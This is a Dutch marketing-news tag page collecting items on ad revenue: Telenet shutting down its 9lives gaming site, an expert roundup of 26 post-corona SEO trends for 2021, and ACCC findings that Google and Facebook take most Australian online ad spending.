Posts Tagged ‘advertentie-inkomsten’

Telenet stopt in januari met gamingwebsite

Reacties uitgeschakeld voor Telenet stopt in januari met gamingwebsite
Posted 27 nov 2020 — by Adformatie
Category nieuws

De Belgische kabelaar Telenet zet vanaf 31 januari 2021 alle activiteiten van 9lives stop. De gamingwebsite 9lives.be, het bijhorende forum en de sociale mediakanalen zullen vanaf dan niet langer actief zijn.

Gaming was een van de eerste vormen van content waarin Telenet heeft geïnvesteerd. 9lives werd in 1998 opgericht als games.telenet.be en kreeg in 2004 een naamswijziging naar 9lives. De website bevat nieuws, recensies, previews en video’s over gaming en heeft een actief forum.

Door de jaren heen is gaming een volledig aparte business geworden met grote internationale spelers. De advertentie-inkomsten van de 9lives-website daalden jaarlijks. De website en server vragen daarentegen permanent kosten om up-to-date en veilig te blijven.

Na een grondige analyse heeft Telenet besloten omwille van financiële en strategische redenen het 9lives-hoofdstuk af te sluiten.

Lees het volledige bericht op Emerce »

26 SEO-trends voor het ‘nieuwe normaal’ van 2021

Reacties uitgeschakeld voor 26 SEO-trends voor het ‘nieuwe normaal’ van 2021
Posted 12 nov 2020 — by Adformatie
Category nieuws

Het belang van e-commerce, werken en vergaderen op afstand, de behoefte aan betrouwbare informatie en de beste gebruikservaring wordt steeds groter. Hoe gaat Google om met de veranderende behoeften tijdens en na corona? En welke rol spelen algoritmes en AI in 2021? Hoe zorg je ervoor dat je het nieuwe jaar als ondernemer overleeft, of dat je misschien juist wel floreert?

In ons zoekgedrag is het effect van de coronamaatregelen in ieder geval heel duidelijk te zien. Begin maart 2020 is er een sterke daling in de zoektocht naar reizen en restaurants, maar juist een sterke toename voor het laten bezorgen van eten en producten. Op dit moment, tijdens de tweede golf, zien we opnieuw een duidelijke trendverschuiving.

Dat het onderwerp leeft, blijkt duidelijk uit de grote respons op mijn vraag om input. Maar liefst 22 experts delen in deze expert roundup hun visie en postcorona SEO-trends.

Dennis Veldhuis (Bambuu), Nathan Veenstra (Optimus Online), Michel Kant (Reading Rooster), Dennis Pettinga (daar-om.nl), Nicole Barink (Team Nijhuis), Nick Seitzinger (Centralpoint), Mathijs Kok, Koen Bloks (Problemen Kwijt), Martijn van Tongeren (IMU), Patrick Heijmans (Webwinkelcommunity), Romano Groenewoud (SEOgeek.nl), Jasja ter Horst (SEO Review Tools), Jorg van de Ven, Chantal Smink, Vincent Velema (Snakeware), Eline van Tongeren (Lead Today), Naci Yilmaz (Onfluence), Jarik Oosting (Smartranking), Wilco Verdoold, Sven Kox (Knappe Websitesen Nils van der Knaap (Sky Internet Marketing) benoemen 26 belangrijkste trends en delen waardevolle tips.

Trend #1: Zoekmachines gaan beter filteren op betrouwbaarheid van informatie

Sinds de uitbraak van het coronavirus is er meer dan ooit behoefte aan betrouwbare informatie. Michel Kant ziet duidelijk dat zoekmachines sinds de uitbraak van het coronavirus veel gerichter op zoek gaan naar de waarheid: “Fake news, fake facts en fake statements moeten worden weerlegd. Je ziet dat Google hierin met COVID-19 al het voortouw neemt, door zelfstandig data te publiceren, in plaats van lezers enkel door te sturen naar websites.”

Michel Kant vervolgt: “Ongetwijfeld gaan we dit ook terug zien in content die Google wil ranken. Het sluit al volledig aan op de trend die Google heeft ingezet met BERT en patronen zoals E-A-T. Google wil minder van links afhankelijk worden en werkt er naartoe om teksten écht te kunnen begrijpen. Hun index is dan groot genoeg om content te valideren. Wel een filosofisch punt: Willen we dat Google dé waarheid wordt?”

Google wil minder van links afhankelijk worden en werkt er naartoe om teksten écht te kunnen begrijpen.

Nathan Veenstra ziet dat zoekmachines kritischer worden op de websites die ze crawlen: “Door corona zijn er veel mensen die kansen zien om op een slimme, of zelfs schimmige manier online geld te verdienen. Daarnaast is er veel desinformatie op het wereldwijde web te vinden. Google, Bing en de andere zoekmachines gaan beter hun best doen om te filteren op betrouwbaarheid van informatie en de websites die ze crawlen en indexeren.”

En hoe kunnen we zelf de betrouwbaarheid van onze sites vergroten?

Vincent Velema geeft hierop zijn visie: “Voeg structured data aan je websites toe. Zo maak je correcte data eenvoudig beschikbaar. Dat is goed voor Google en goed voor de consument. Optimaliseer jouw website met structured data. Zo wek je het vertrouwen van je klant en prospect. Jij staat voor wat er staat!”

Om video’s van Youtube te kunnen tonen, dienen analytische cookies en tracking cookies geaccepteerd te worden.

Nils van der Knaap voegt daaraan toe: “Vergeet ook niet je klanten op je website en in Google te informeren over actuele zaken. Vertel bijvoorbeeld hoe klanten veilig kunnen blijven winkelen, of geef informatie over bijvoorbeeld aparte openingstijden voor kwetsbare doelgroepen, zoals ouderen. Ook levering op afstand, zoals thuisbezorgen, kun je duidelijk op een eigen daarvoor bestemde pagina communiceren. Optimaliseer ook altijd de title tag en meta omschrijving, zodat deze informatie makkelijk vindbaar is in zoekmachines.


Trend #2: Meer gebruik van Google My Business

Een van de manieren om je klanten te informeren, is het updaten van Google My Business. Volgens Nicole Barink is het vooral nu erg belangrijk om deze informatie up-to-date te houden, om post corona als organisatie actueel te blijven: “Je voorkomt daarmee dat klanten die nog wel langs willen komen verkeerd worden geïnformeerd over bijvoorbeeld afwijkende openingstijden, of omdat ze vooraf een afspraak moeten maken.

Daarnaast speelt Google My Business een belangrijke rol bij de lokale zoekresultaten. Ook dat is in coronatijd erg belangrijk geworden, omdat mensen liever niet meer te ver van huis willen.”

Ook Nils van der Knaap sluit zich hierbij aan: “Bij het onderdeel ‘Posts’ is er zelfs een aparte optie om een COVID-19-update op te geven, die mensen zien als ze op je bedrijfsnaam zoeken.”

Trend #3: Meer local packs in het wild

Romano Groenewoud constateert steeds meer local packs in het wild. Wat bedoel je daar precies mee, Romano?

“Heel simpel: een kaart met doorgaans drie uitgelichte bedrijven in een bepaalde regio, vooral bij termen waar je een geografische naam in je zoekopdracht gebruikt. Denk aan ‘Kapper Rotterdam’, of ‘Advocaat arbeidsrecht in Limburg’.

Het valt me op dat ik ze post corona nu ook zie voor termen die niet per se een plaatsnaam of regio noemen. Google voelt blijkbaar aan dat de zoekers van deze term vaak het product of de dienst lokaal willen afnemen. En dus toont zij een local pack om in deze behoefte te voorzien.”

Hierboven heb ik vanuit mijn woonplaats Noordwijk gezocht op ‘advocaat arbeidsrecht’ zonder de plaats in de zoekopdracht. Toch krijg ik een local pack met advocaten in de buurt.

Trend #4: Autoriteit wordt nog belangrijker

Romano Groenewoud is er duidelijk over: “Mede door de coronacrisis is Google nog conservatiever geworden, vooral bij zoekopdrachten waar het gaat over zogenoemde YMYL-pagina’s (Your Money or Your Life).

Voor dit soort sites zijn geweldige inhoud en een linkprofiel waar je u tegen zegt niet langer genoeg reden om hoog in Google te ranken. Je moet echt een autoriteit zijn, ook buiten het web. Een instituut dat mensen kennen, zoals een Gezondheidscentrum. Dat soort partijen wil Google bovenaan tonen.”

Om video’s van Youtube te kunnen tonen, dienen analytische cookies en tracking cookies geaccepteerd te worden.

Geen trucje of tactiek

Romano Groenewoud vervolgt: “Helaas is hier geen trucje of tactiek voor. Je kunt niet even een link kopen om een autoriteit te worden. Er is geen speciale code of gimmick die je op je website kunt implementeren. Geen enkele SEO-dienstverlener heeft een magische toverstaf om ineens een ‘Voedingscentrum’ te worden. Een echte autoriteit worden betekent jarenlang waardevolle inhoud delen en ook offline prominent aanwezig zijn.”

“Een echte autoriteit worden betekent jarenlang waardevolle inhoud delen en ook offline prominent aanwezig zijn.” – Romano Groenewoud

Trend #5: SEO wordt technischer

Michel Kant ziet dat vooral mensen die met SEO bezig zijn, steeds technischer lijken te worden: “We gaan steeds meer programmeren om alle data te verwerken. SEO-specialisten zijn toch al technisch, maar dat neemt alleen maar toe.”

Ook Nick Seitzinger sluit zich hierbij aan: “Content blijft king, maar technische SEO en het bouwen aan online autoriteit worden steeds belangrijker. Zorg dat je website mobielvriendelijk is en qua content gelijk is aan de desktopversie. Sterker nog, Google kijkt straks alleen nog naar mobiel. Zorg dus voor een snelle en gebruiksvriendelijke website, want laadtijd en gebruiksgemak wegen steeds zwaarder mee in Google’s algoritme.”

Trend #6: Google update gaat ook passages van pagina’s ranken

Michel Kant: “Google heeft aangekondigd dat ze pagina’s gaan ranken op basis van de inhoud van passages, dus niet per se alleen op paginaniveau. Deze grote update gaat 7 procent van de totale zoekopdrachten wereldwijd beïnvloeden. Dat zijn maar liefst 140 miljard zoekopdrachten die er in 2021 anders uit gaan zien. Reken maar dat hier veel tactieken voor bedacht en besproken gaan worden.

Ik verwacht veel content in de vorm van vraag en antwoord. Dat soort content is meteen ook erg goed om in de featured snippets te tonen en sluit goed aan op het beantwoorden van vragen via voice search.”

Om video’s van Youtube te kunnen tonen, dienen analytische cookies en tracking cookies geaccepteerd te worden.

Ook Chantal Smink is erg benieuwd naar deze update: “Het stuk content op de pagina waar Google naar verwijst is zelfs geel gekleurd. Ik vraag me wel af wat dit gaat betekenen voor je conversies.”

Trend #7: Meer puur fysieke winkels maken overstap naar online

Nicole Barink: “Fysieke winkels maken tijdens corona versneld een stap naar online. Dit kan door een eigen webshop te starten, of verschillende marktplaatsen te gebruiken om je assortiment aan te bieden. Denk aan bol.com, marktplaats.nl of Amazon. Ook dit draagt bij aan de organische vindbaarheid van je winkel.”

Trend #8: Adverteren in Google Ads wordt duurder door meer concurrentie

Meer ondernemers online, betekent ook meer concurrentie online. Dennis Pettinga ziet in veel branches een duidelijke groei in zoekvolumes:

“Mensen bestellen steeds meer online. Veel ondernemers zijn sinds maart gestart met online verkoop, of zullen dit in 2021 gaan doen. De concurrentie wordt groter en daardoor is het essentieel om op meerdere kanalen in te zetten. De klikken in Google Ads worden waarschijnlijk duurder, waarmee marges onder druk komen te staan.”

“De klikken in Google Ads worden waarschijnlijk duurder, waarmee marges onder druk komen te staan.” – Dennis Pettinga

Dennis Pettinga voegt daaraan toe: “SEO is door corona nog belangrijker geworden. Veel ondernemers zijn erg afhankelijk van betaald adverteren. Zij komen tot het besef dat ze hun budgetten simpelweg niet kunnen verlagen, omdat dit direct invloed zou hebben op het resultaat.“

Michel Kant: “Ik verwacht dat corona met name een indirecte impact heeft op SEO. Het management van organisaties wordt nu geconfronteerd met het belang van organische zoekresultaten versus het inkopen van verkeer.”

Trend #9: Het belang van video en andere dynamische content neemt toe

Dennis Pettinga: “De consumptie van video neemt toe en het lezen van teksten gebeurt juist steeds minder. Volgens mij is het een kwestie van tijd dat lange, informatierijke teksten het verliezen van video, dynamische content en andere visuele elementen. Ik adviseer om nu op beide in te zetten. Vergeet SEO voor YouTube daar ook zeker niet bij.”

Om video’s van Youtube te kunnen tonen, dienen analytische cookies en tracking cookies geaccepteerd te worden.

Trend #10: Content wordt steeds belangrijker

In tegenstelling tot Dennis Pettinga, zien andere experts dat het belang van geschreven content juist steeds groter wordt. Nicole Barink: “Veel bedrijven gebruiken de coronatijd om er goed voor te staan en organisch vindbaar te zijn als het allemaal weer ‘normaal’ wordt.

“Veel bedrijven gebruiken de coronatijd om er goed voor te staan en organisch vindbaar te zijn als het allemaal weer ‘normaal’ wordt.  – Nicole Barink

Dit is het ideale moment om kannibalisatie tegen te gaan, een gestructureerde interne linkstructuur op te zetten en eventuele oude informatie te verwijderen of te herschrijven.”

Lever waarde met je merk en de content die je produceert

Mathijs Kok ziet het breder: “Post corona draait het allemaal om je merk. Toegegeven, het bouwen van een merk kost veel tijd, maar hiermee ga je de strijd op middellange termijn echt winnen. Lever waarde met de content die je produceert en maak commercie zoveel mogelijk van ondergeschikt belang.”

Google legt de lat hoger

Romano Groenewoud merkt op dat Google de lat wat betreft het indexeren van content hoger legt: “Er was dit jaar veel gejammer van webmasters dat hun op zich redelijke content uit de index is gevallen, of bij publicatie niet opgenomen wordt. Over het algemeen zijn het acceptabele artikelen. Het is geen spam. Het is geen duplicate content. Maar er zit ook weinig toegevoegde waarde in als je het vergelijkt met de zoekresultaten op de huidige eerste pagina.”

Druk niet te snel op ‘Publish’

Romano Groenewoud: “De les is dus dat je niet te snel op de ‘Publish’-knop moet drukken. Sta eerst stil en vraag jezelf af: voegt dit artikel wel waarde toe aan de huidige zoekresultaten? Zorg ervoor dat het artikel voor alle partijen een win is.”

Romano Groenewoud vervolgt: “Kijk wel uit met user generated content. Reageert niemand op inhoud geplaatst door gebruikers? Dan ziet Google dat bijna altijd als ‘thin content’. Zorg ervoor dat dit soort pagina’s de organische reputatie van je website niet naar beneden halen.“

Weg met de SEO-tekstschrijver?

En in hoeverre is het nog belangrijk om teksten voor zoekmachines te optimaliseren? Wilco Verdoold: “Vroeger waren er tekstschrijvers die vooral goed waren in het schrijven van teksten voor Google, of juist in het schrijven van teksten voor de lezer. Dat onderscheid is er steeds minder.

Een goede tekstschrijver moet natuurlijk ook snappen hoe Google werkt. Maar… Google is steeds beter in staat goede en leesbare teksten te herkennen en belonen met een goede ranking. Dus echt goede teksten, dat wil zeggen origineel, goed leesbaar en relevant, gaan het op termijn in de Google-ranking winnen.”

Trend #11: De tekstschrijver krijgt het moeilijker door AI

Wilco Verdoold: “De tekstschrijver krijgt het wel steeds moeilijker. Dankzij allerlei slimme AI-technieken is de computer steeds beter in staat om teksten te genereren. Bijvoorbeeld over producten in je webshop, of vakantiebestemmingen die je kunt boeken. Maar je zou ook de tekst voor een blog of podcast door AI kunnen laten schrijven.

Dat laatste deden Alexander Klöpping en Ernst-Jan Pfauth onlangs. Ze maken ‘Een podcast over media‘ en zetten de computer aan het werk om de teksten en interactie te bedenken. Nieuwsgierig? Lees dan dit artikel uit Het Parool.

Wilco Verdoold: “Het is voor nu misschien nog wat omslachtig, maar het bewijst wel dat de tijd waarin de computer veel sneller goede teksten kan genereren steeds dichterbij komt. Er is ongetwijfeld nog een menselijke slag nodig om het hier en daar aan te passen, maar die menselijke handeling kan wel een stuk sneller met een digitale schrijfhulp.”

Om video’s van Youtube te kunnen tonen, dienen analytische cookies en tracking cookies geaccepteerd te worden.

Trend #12: Voice search

Dennis Pettinga ziet vooral voice search als ‘the next thing: “Het zal in 2021 verder groeien. Met positie 0 en het doel van Google om zo snel mogelijk antwoord te geven, verwacht ik dat het aantal klikken op organische resultaten langzaam afneemt. Aan de andere kant zal er veel meer gezocht worden, waardoor naar verwachting SEO zeker geen aflopende zaak is.”

Trend #13: Beter inspelen op de user intent

Koen Bloks: “We zullen in het nieuwe normaal nog beter op zoek moeten gaan naar de juiste match in intentie. Bijvoorbeeld: de klant gaat steeds meer op zoek naar doe-het-zelf opties. Je creëert veel meer goodwill door een goed en juist stappenplan, met later een kans op koop, dan dat de klant hals over kop naar de bouwmarkt moet voor een product.”

Martijn van Tongeren voegt daaraan toe: “Je ziet dat er veel getest wordt met featured snippets, vooral de stappenplannen in featured snippets hebben de afgelopen tijd een flinke groeispurt gemaakt.”

Koen Bloks vervolgt: “Kijk wel heel goed uit dat je alles volgens de juiste richtlijnen doet. Klanten hechten veel waarde aan maatschappelijke betrokkenheid en bedrijven die zich aan de regels houden.”

Trend #14: Meer kwaliteit

Martijn van Tongeren ziet dat Google de afgelopen periode veel aan het testen is met het beoordelen van websites: “Hun belangrijkste doel is de bezoeker zo snel mogelijk naar de juiste plaats te sturen. Daarvoor is het belangrijk dat een bezoeker vindt waar hij/zij naar zocht. Google beloont daarom de websites met de beste user interface, informatie en beste match. De tijdsduur van een bezoek op je website blijft daarbij een belangrijke factor.”

Trend #15: Snellere websites

Martijn van Tongeren benadrukt: “Snelheid, snelheid, snelheid. Meer dan ooit verwachten mensen in de kortste tijd een resultaat te zien. Staar je niet blind op de scores die een tool je geven, maar kijk ook naar de daadwerkelijke laadtijd. Is die onder een seconde (zowel op mobiel als desktop), of moeten daar nog dingen aan gebeuren?”

Leestip: De zin en onzin van Google Page Speed

Trend #16: Meer personalisatie en contact

Patrick Heijmans vindt het post corona nu nog belangrijker dan ooit: personalisatie en contact: “Door Corona shoppen steeds meer mensen online, maar wat ik eigenlijk nog steeds mis bij de meeste bedrijven is het persoonlijk contact. Dus bel, skype of app de klant even. Die persoonlijke kaart bij een bestelling of even dat belletje is in deze tijd belangrijker dan ooit!”

Trend #17: Meer kansen voor e-commerce

Sven Kox: “SEO is altijd al belangrijk geweest, maar in de huidige tijden belangrijker dan ooit. Heel wat bedrijven moeten hun deuren verplicht sluiten, of mogen nog maar beperkt openblijven. Hierdoor heeft er een grote verschuiving plaatsgevonden richting online. En precies daar komt SEO in the picture.”

“Je ziet dat het koopgedrag van de consument een grote draai richting online shopping heeft gemaakt. De logistieke sector heeft zelfs moeite om het bij te benen. Houd daar rekening mee. Door deze verschuiving zoeken mensen nu online op termen, producten en/of diensten die voorheen amper of veel minder aan bod kwamen. Er ontstaan nieuwe behoeften en nieuwe trends. Het is de kunst deze tijdig op te pikken.”

Leestip: onze blogs over ecommerce

Zoekwoordenonderzoek

Sven Kox vervolgt: “Corona heeft een sterke invloed op het zoekgedrag van de consument. De zoekvolumes variëren sterk, afhankelijk van branche of sector. Een eerste belangrijke stap is dan ook om een nieuw zoekwoordenonderzoek uit te voeren. Welke zoektermen typt de consument in Google en welke juist niet? Hoeveel concurrentie zit daarop? Wat is de trend van het zoekwoord?”

Om video’s van Youtube te kunnen tonen, dienen analytische cookies en tracking cookies geaccepteerd te worden.

De 4 belangrijkste zoekintenties

“Vraag je daarnaast af wat de zoekintentie achter de zoekwoorden is. Dat is een andere, maar zeer cruciale factor. De belangrijkste intenties zijn:

  • Informatief;
  • Educatief;
  • Op zoek naar werk;
  • Kopen.”

Hoe ontdek je die nieuwe trends in coronatijden?

Sven Kox: “Speel kort op de bal en schakel snel, dat is nu de boodschap. Zoekwoorden die tot voor kort belangrijk waren, zijn dat nu misschien niet meer. Andere zoekwoorden zijn door het zoekvolume juist belangrijker geworden. Een aantal tips:

  • Controleer je zoekvolumes op categorieën via je Google Analytics-account.
  • Controleer op korte termijn (in plaats van maandelijks controleer je wekelijks).
  • Check je Google Search Console om te achterhalen waar jouw site op gevonden wordt en optimaliseer.
  • Kijk op Google Trends naar de evolutie van de zoektermen. Neemt het aantal zoekopdrachten toe, of juist af?

Alle bedrijven die nu op de nieuwe trends inzetten, hebben in de toekomst wellicht een blijvende voorsprong ten opzichte van bedrijven die dat niet doen.”

Ook Wilco Verdoold heeft een tip: “Als corona ons iets leert, is het wel wat we allemaal online kunnen doen en bestellen. Dat blijft ook in het nieuwe normaal merkbaar. Kijk bijvoorbeeld naar de meest bezochte retailwebsites tijdens corona. Daar zie je ook de verschuivingen vergeleken met vorig jaar. (Met dank aan mijn collega’s Jesse Weltevreden en Esther Mooiman van het Centre for Market Insights van de Hogeschool van Amsterdam. Zij maakten deze monitor in samenwerking met thuiswinkel.org.)”

Jasja ter Horst: “De eerste lockdown heeft ervoor gezorgd dat veel mensen het gemak van het online boodschappen doen hebben ontdekt. Ook andere vormen van e-commerce hebben tijdens de uitbraak van het virus een vlucht genomen. In heel Europa zijn 35 procent meer e-commerce-apps geïnstalleerd.

Daarnaast blijkt uit onderzoek van Nosto dat het aantal e-commerceverkopen en -traffic na de lockdown wereldwijd respectievelijk met 7% en 3% is gestegen.

Leestip: Zoekwoordenonderzoek pro tip: zo bepaal je de ‘keyword difficulty’

Impact op marketingbudgetten

Jasja ter Horst vervolgt: “De steeds verdere verschuiving van het koopgedrag van fysieke winkels naar online, zal naar mijn mening ook een blijvende impact hebben op de inzet en verdeling van de marketingbudgetten. Op het gebied van SEO betekent dit, dat er meer budget beschikbaar zal zijn en tegelijkertijd de concurrentie toeneemt.”

Jarik Oosting: “Consumenten die eerder nog wel producten in winkels kochten, raken eraan gewend om deze online te blijven kopen, dus zal e-commerce meer omzet vanuit SEO krijgen.”

“Door nu in zoekmachineoptimalisatie te investeren, kom je straks sterker uit de coronacrisis.” – Jarik Oosting

SEO is een langetermijnstrategie

“Daarnaast zien veel bedrijven in dat SEO een langetermijnstrategie is. Door nu in zoekmachineoptimalisatie te investeren, kom je straks sterker uit de coronacrisis en behouden bedrijven hun business, of kunnen ze deze verder uitbouwen. Mijn verwachting is dus, dat bedrijven ook post corona meer waarde blijven hechten aan SEO”, sluit Jarik Oosting af.

Trend #18: Nu ook ‘Organic shopping’ in Google

Jasja ter Horst: “Een andere SEO-trend is organic shopping in Google. Ook in Nederland is het voor retailers nu mogelijk om binnen de Google shopping-tab producten gratis weer te geven.”

Chantal Smink licht verder toe: “In eerste instantie gaat het om de tab ‘Shopping’. Later ook om de Shopping-resultaten op het eerste scherm dat Google laat zien. Hoewel ik het zelf nog niet ‘aan de voorkant’ heb mogen zien, zie ik wel de eerste resultaten.

Hartstikke vriendelijk natuurlijk van Google om in deze pandemie bedrijven wereldwijd te steunen, maar ik geloof er persoonlijk niet dat Google het met de beste intenties doet en er straks weer een fee voor vraagt.”

Om video’s van Youtube te kunnen tonen, dienen analytische cookies en tracking cookies geaccepteerd te worden.

Omzetverschuiving van SEO naar SEA

Chantal Smink: “Er is nu zoveel zoekvolume dat de omzet uit SEO nog steeds flink groeit, maar ik zie wel dingen die me zorgen baren. Op een mobiel moet je tegenwoordig soms zes keer scrollen voor het eerste organische resultaat. Zeer specifieke zoekopdrachten geven soms nog wel resultaat zonder ads.

Ik denk dat je gerust kan stellen dat elke zoekopdracht die binnen korte tijd zal kunnen leiden tot een conversie, uiteindelijk door Google Ads ‘gekaapt’ zal gaan worden. Je gaat dan een omzetverschuiving zien van SEO naar SEA. Dit heeft natuurlijk grote gevolgen voor je SEO-strategie.”

Denk na over de rol van SEO in de toekomst

Chantal Smink: “Duik eens in Google Analytics en vergelijk het aantal conversies waarbij SEO de laatste klik was en waarbij SEO een ondersteunende rol heeft gespeeld. Je kunt dit opvragen in Google Analytics onder Conversies –> Multi-channel trechters –> Ondersteunende conversies.

Zie je verschuivingen over de afgelopen 2 tot 3 jaar? Dan is het hoog tijd om na te denken welke rol SEO in de toekomst zal gaan spelen. Blijft SEO een kanaal dat direct bijdraagt aan conversies, of zal SEO verschuiven naar een kanaal dat vooral een ondersteunende rol in de attributie krijgt en nieuwe gebruikers moet gaan binnenhengelen?”

Trend #19: Het belang van de Core Web Vitals neemt toe. Websites gaan een betere gebruikservaring bieden.

Om video’s van Youtube te kunnen tonen, dienen analytische cookies en tracking cookies geaccepteerd te worden.

Jorg van de Ven: “De Core Web Vitals van Google gaan een grote rol spelen. Deze nieuwe rankingfactoren zorgen ervoor dat websites een nog betere gebruikerservaring aan bezoekers bieden. Verder denk ik dat SEO weer een prominente rol gaat spelen bij marketingmanagers. We hebben de afgelopen coronaperiode gezien dat bedrijven die voorheen in SEO hebben geïnvesteerd, hier veel profijt van hebben gehad.”

Chantal Smink: “Google voegt met de Core Web Vitals drie criteria toe aan de set van rankingfactoren. Zorg ervoor dat je dit écht op orde hebt. In Google Search Console kun je onder ‘Site vitaliteit’ precies zien hoe Google jouw website er nu al op beoordeelt.”

Trend #20: Minder cookies

Chantal Smink maakt zich zorgen over het bestaansrecht van cookies: “Steeds meer browsers beschermen hun gebruikers en gaan anders met cookies om. Safari verwijdert sinds maart dit jaar cookies na 24 uur. Daarmee wordt de attributie van een kanaal minder inzichtelijk.”

Trend #21: Steeds meer zero click results en featured snippets

Chantal Smink: “Ik zie steeds meer zero click results in de vorm van featured snippets. Denk aan een lijst met opsommingen, of direct het antwoord op een vraag. Zoek maar eens naar ‘cookies verwijderen chrome’. De kans is groot dat je de stappen direct in Google te zien krijgt. Google is verplicht de bron te laten zien, maar voor de publisher/website is dit natuurlijk desastreus.

Waarom zou een gebruiker nog doorklikken naar jouw website? En dus ga je als publisher inkomsten missen, of het nu gaat om advertentie-inkomsten of inkomsten doordat een gebruiker mogelijk zou zijn geconverteerd. Uit data van 2019 blijkt al dat zeker de helft van de zoekopdrachten tot een zero-click result leidt.

Ook Naci Yilmaz herkent het toegenomen aantal, maar ook het belang van featured snippets: “Wat vooral opvalt gedurende deze coronatijd, is dat we meer zoekopdrachten als vraag stellen. Dit is een enorme kans voor bedrijven die hier op in willen spelen. Met een zero click result help je mensen écht met hun zoekvraag. Ga daarom gerust voor ‘position zero’.

“Met een zero click result help je mensen écht met hun zoekvraag. Ga daarom gerust voor ‘position zero’.” – Naci Yilmaz

Afbeeldingen en video’s in featured snippets

Naci Yilmaz vervolgt: “Voorheen bestond een featured snippet alleen maar uit tekst, maar tegenwoordig zie je ook steeds meer afbeeldingen en video’s. Omdat we meer zijn gaan zoeken met vragen worden de featured snippets dus belangrijker in 2021.

Het geven van antwoorden (en daarmee je potentiële klanten helpen) past ook helemaal in de geest van deze gekke tijd. Dit zal niet alleen kunnen leiden tot meer traffic naar je website, maar zorgt er ook voor dat je een bepaalde autoriteit uitstraalt.”

Trend #22: Work from home (WFH)-trend biedt nieuwe kansen

Vincent Velema ziet de work from home-trend tijdens de coronacrisis als een grote kans: “De work from home (WFH) trend is enorm. Als jij producten levert die daarbij relevant zijn, dan is het een mooie kans om daarop zichtbaar te worden. Niet alleen USB-microfoons en bureaustoelen zijn dan interessant, maar alles in en om het huis. Nieuwe gordijnen een nieuw servies. Iedereen zit thuis, dus speel daar op in.”

Trend #23 : Minder zakelijke ontmoetingen, meer online mogelijkheden

Eline van Tongeren: “Door corona zijn er veel minder ontmoetingen. Je gaat of kan niet meer naar een fysiek event of borrel. Dat maakt het een stuk moeilijker om je zakelijke netwerk uit te breiden. En laat dat nou nét zijn waar veel organisaties normaal gesproken een aanzienlijk deel van hun klanten uit halen. Zij zien nu eerder het nut om in SEO te investeren.”

Trend #24: Focus op relevantie, niet op metrieken

Romano Groenewoud is van mening dat er minder aandacht aan metrieken zal worden besteed: “Webmasters en marketingpartijen besteden nog steeds te veel aandacht aan statistieken zoals Ahrefs DR, Moz DA en Majestic TF bij het inschatten van de waarde van een vermelding op een website.

“Het zal Google een worst zijn wat de DA van een site is.” – Romano Groenewoud

Het zal Google een worst zijn wat de DA van een site is. Het enige dat ertoe doet: hoe relevant is de website waar je vermeld zou willen worden ten opzichte van jouw eigen website? Hoe goed komen zij voor de dag in de organische zoekresultaten? De enige metrieken die je hiervoor zou kunnen raadplegen zijn Ahrefs’ Organic Search Traffic, of de vergelijkbare metriek van SEMrush.”

Trend #25: Gastbloggen wordt minder relevant voor linkbuilding

Romano Groenewoud: “Google lijkt gastbloggen als linkbuilding- en SEO-tactiek definitief de nek te hebben omgedraaid. Gastbloggen blijft echter wel waardevol om te netwerken, bijvoorbeeld voor het opdoen van nieuwe waardevolle zakelijke relaties. Het is ook zeker nog heel zinvol om te gastbloggen bij partijen waarmee je in potentie synergie hebt.

Stel jezelf eens de vraag: ‘Als Google morgen failliet gaat, is deze vorm van samenwerking voor ons nog steeds de moeite waard?’ Zo ja, prima. Zo nee, gebruik die tijd en energie liever in het verbeteren van je eigen website.”

Trend #26: Google doet steeds meer algoritmisch

Volgens Romano Groenewoud streeft Google ernaar om alles uiteindelijk algoritmisch (zonder menselijke inbreng) op te lossen: “In het verleden was het mogelijk om websites die de Google-richtlijnen overtreden te rapporteren. Het ‘manual actions team’ bekeek dan handmatig jouw concurrent en bestrafte hen eventueel. Google werkt niet langer zo.”

Bekijk een overzicht van de verschillende misstanden die gemeld kunnen worden.

Het internet is in 2020 simpelweg te groot geworden om politieagentje te spelen in alle thema’s, talen en uithoeken van het web. – Romano Groenewoud

Internet is te groot geworden om politieagent te spelen

Romano Groenewoud vervolgt: “Rapporteren kan nog wel, maar de meldingen worden nu doorgegeven aan de ingenieurs van Google die aan de algoritmes sleutelen. Zij nemen de rapporten tot zich en schaven de algoritmes bij, zodat het eventuele voordeel van de valsspeler teniet wordt gedaan.

Het internet is in 2020 simpelweg te groot geworden om politieagentje te spelen in alle thema’s, talen en uithoeken van het web. Google moet het probleem dus wel algoritmisch tackelen.”

Verbetering van de algehele kwaliteit

“Ik denk dat hiermee de insteek van het rapporteren van problemen meteen ook een stuk positiever geworden is. Het verraden van websites is op zich niet een bijzonder sympathieke actie, maar het rapporteren van feedback ter verbetering van de algehele kwaliteit van alle zoekresultaten voor alle zoekers? Daar kan iedereen wel mee leven, denk ik”, zo sluit Romano Groenewoud af.

Nog een trend?

Mis jij een trend in dit overzicht? Is er op het gebied van post corona SEO iets waar je deze lijst mee wilt aanvullen? Laat het ons weten in de reacties hieronder, we zijn benieuwd!

Lees het volledige bericht op Emerce »

80 procent van Australische online advertentie-inkomsten naar Google en Facebook

Reacties uitgeschakeld voor 80 procent van Australische online advertentie-inkomsten naar Google en Facebook
Posted 03 nov 2020 — by Adformatie
Category nieuws

Google, Facebook en YouTube domineren de Australische markt voor digitale advertenties volledig. Er blijft minder dan 20 procent over voor andere websites, blijkt uit onderzoek van de Australian Competition and Consumer Commission (ACCC), de mededingingsautoriteit in Australië.

Voor elke 100 Australische dollar die adverteerders in 2018 uitgaven, ging 49 dollar naar Google, 24 dollar naar Facebook en 27 dollar naar alle andere websites. Deze trend zette zich voort in het kalenderjaar 2019.

Het rapport vormt onderdeel van een nieuw wetsvoorstel waarbij techreuzen als Google en Facebook worden gedwongen om een deel van hun inkomsten af te staan aan nieuwsmedia als zij gebruik maken van nieuwsfragmenten in zoekmachines of de tijdlijn.

In november 2019 mislukten gesprekken met Facebook en Google over het onderschrijven van een vrijwillige gedragscode. Facebook benadrukte destijds dat het al miljoenen dollars heeft uitgegeven om Australische uitgevers te ondersteunen.

Foto Pixabay

Lees het volledige bericht op Emerce »

Ruim 80 procent van Australische online advertentie-inkomsten naar Google en Facebook

Reacties uitgeschakeld voor Ruim 80 procent van Australische online advertentie-inkomsten naar Google en Facebook
Posted 24 okt 2020 — by Adformatie
Category nieuws
Google, Facebook en YouTube hebben hun toch al substantiële aandeel in de digitale reclametaart in Australië vergroot. Er blijft minder dan 20 procent over voor nieuws- en andere websites, blijkt uit nieuw onderzoek van de Australian Competition and…

Lees het volledige bericht op Villamedia »

Facebook waarschuwt voor omzetdaling, maar eerste kwartaal was goed

Posted 29 apr 2020 — by Emerce
Category nieuws

